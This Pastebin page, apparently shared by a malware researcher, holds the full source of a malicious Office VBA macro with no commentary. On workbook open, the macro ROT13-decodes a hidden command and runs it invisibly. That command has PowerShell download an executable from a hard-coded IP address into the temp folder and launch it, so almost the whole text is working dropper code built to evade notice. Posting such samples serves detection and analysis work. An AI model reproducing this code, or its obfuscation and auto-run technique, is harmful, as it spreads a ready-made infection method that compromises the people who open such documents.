SHARE
TWEET

Malicious Word macro

dynamoo Feb 16th, 2015 258 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "Ёта нига"
  2. Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = False
  8. Attribute VB_Customizable = True
  9.  
  10. Sub tyrtyaag()
  11. oPOJidsf = k3O0Nfe("pzq /X CbjreFuryy.rkr (Arj-Bowrpg Flfgrz.Arg.JroPyvrag).QbjaybnqSvyr('uggc://92.63.88.104/squgrcbcquq/fsojhejsy/jlkoqs.rkr','%GRZC%\WVBvbqsuvbVU.rkr');Fgneg-Cebprff '%GRZC%\WVBvbqsuvbVU.rkr';")
  12. Shell oPOJidsf, vbHide
  13. End Sub
  14.  
  15. Function k3O0Nfe(ByVal InString As String)
  16. Dim LetterU As String
  17. Dim LetterL As String
  18. Dim Letter As String
  19. Dim Rot13 As String
  20. Dim i As Integer
  21. LetterU = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  22. LetterL = "abcdefghijklmnopqrstuvwxyz"
  23. i = 0
  24. Do While i <= Len(InString)
  25. i = i + 1
  26. Letter = Mid(InString, i, 1)
  27. If VV6AgfVVap(Letter) = True Then
  28. If NL4UZNpa4U(Letter) = True Then
  29. Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
  30. Else
  31. Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
  32. End If
  33. Else
  34. Rot13 = Rot13 + Letter
  35. End If
  36. Loop
  37.  k3O0Nfe = Rot13
  38. End Function
  39. Function NL4UZNpa4U(ByVal InString As String) As Boolean
  40. If StrComp(Trim(InString), "") = 0 Then
  41.  NL4UZNpa4U = False
  42. Exit Function
  43. End If
  44. If StrComp(InString, UCase(InString)) = 0 Then
  45.  NL4UZNpa4U = True
  46. Else
  47.  NL4UZNpa4U = False
  48. End If
  49. End Function
  50. Function VV6AgfVVap(ByVal InString As String) As Boolean
  51. InString = UCase(InString)
  52. If InString = "" Then VV6AgfVVap = False: Exit Function
  53. If Asc(InString) >= 65 And Asc(InString) <= 90 Then
  54.  VV6AgfVVap = True
  55. Else
  56.  VV6AgfVVap = False
  57. End If
  58. End Function
  59. Sub Workbook_Open()
  60.     tyrtyaag
  61. End Sub
RAW Paste Data
Top